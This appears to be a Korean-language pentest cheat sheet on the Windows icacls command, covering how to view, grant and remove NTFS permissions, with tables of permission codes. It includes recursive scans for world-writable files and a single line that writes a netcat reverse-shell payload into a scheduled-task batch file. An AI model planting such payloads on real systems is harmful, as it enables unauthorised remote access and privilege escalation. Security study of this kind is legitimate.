`icacls`는 NTFS 파일 시스템의 권한(Access Control Entries, ACE)을 관리하는 명령어.
주로 다음을 위해 사용:
- 권한 보기
- 권한 변경/추가/삭제
- 권한 백업 및 복원
# Go-to
```powershell
icacls "C:\Program Files"
icacls "C:\Program Files (x86)"
icacls C:\ /t /c /q 2>nul | findstr /i "Everyone:(F)"
icacls C:\ /t /c /q 2>nul | findstr /i "Everyone:(M)"
```
| 구성 요소 | 설명 |
| ------------ | ----------------------------- |
| `icacls C:\` | `C:\` 드라이브의 권한(ACL)을 조회함 |
| `/t` | 하위 디렉토리와 파일까지 재귀적으로 모두 검사 |
| `/c` | 오류가 나도 계속 진행 (예: 접근 권한 없는 폴더) |
| `/q` | 오류 메시지를 표시하지 않음 (출력 간결화) |
# 권한 보기
```c
icacls <파일명 또는 폴더명>
# 예시
icacls job.bat
```
출력 예시:
```c
job.bat BUILTIN\Users:(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
```
`job.bat BUILTIN\Users:(F)`: 실행은 관리자만 가능하지만, 내용은 일반 사용자도 수정할 수 있음.
# icacls 권한 표
| 약어 | 전체 이름 | 설명 |
| ------ | -------------- | ------------------- |
| **F** | Full Control | 모든 권한 (아래 모든 권한 포함) |
| **M** | Modify | 읽기/쓰기/삭제 가능 |
| **RX** | Read & Execute | 읽기 + 실행 |
| **R** | Read | 읽기만 가능 |
| **W** | Write | 쓰기만 가능 |
##### 세부 권한 조합
|약어|권한 이름|설명|
|---|---|---|
|**D**|Delete|파일/폴더 삭제 가능|
|**RC**|Read Control|권한 정보 읽기|
|**WD**|Write DAC (Discretionary ACL)|파일 권한 수정 가능|
|**WO**|Write Owner|파일 소유자 변경 가능|
|**S**|Synchronize|스레드 동기화용 권한 (프로세스 간 동기화)|
|**AS**|Access System Security|감사 설정 읽기/쓰기 가능|
|**MA**|Maximum Allowed|현재 사용자에게 허용되는 최대 권한 자동 부여|
|**GR**|Generic Read|읽기 권한 집합 (R, RC 포함)|
|**GW**|Generic Write|쓰기 권한 집합 (W, RC 포함)|
|**GE**|Generic Execute|실행 권한 집합 (RX 포함)|
|**GA**|Generic All|전체 권한 집합 (Full Control)|
##### 폴더 전용 권한
|약어|설명|
|---|---|
|**OI**|Object Inherit → 하위 **파일**에도 권한 상속|
|**CI**|Container Inherit → 하위 **폴더**에도 권한 상속|
|**IO**|Inherit Only → 이 항목 **자체에는 적용되지 않고**, 하위 항목에만 적용됨|
|**NP**|No Propagate → **한 단계만 상속**, 하위 폴더에서 더 이상 전파되지 않음|
|**I**|Inherited → 상위 폴더로부터 **상속된 권한**임 (수동 설정 아님)|
# 권한 추가/변경
```c
icacls <파일> /grant <사용자>:<권한>
icacls job.bat /grant daniel:F
```
- `daniel` 사용자에게 `job.bat`에 대해 *Full Control* 권한 부여
```powershell
echo C:\tools\nc64.exe -e cmd.exe <IP> 1234 > C:\tasks\schtask.bat
```
- `schtask.bat`에 Full 액세스 있는 것 확인 후, 리버스 쉘을 받는 페이로드를 삽입
# 권한 제거
```c
icacls <파일> /remove <사용자>
icacls job.bat /remove daniel
```
# 상속 해제
```c
icacls <파일> /inheritance:r
```
-> 상속 제거(`r = remove inheritance)
# 권한 백업
```powershell
icacls <경로> /save aclfile.txt /t
```
# 권한 복원
```c
icacls <경로> /restore aclfile.txt
```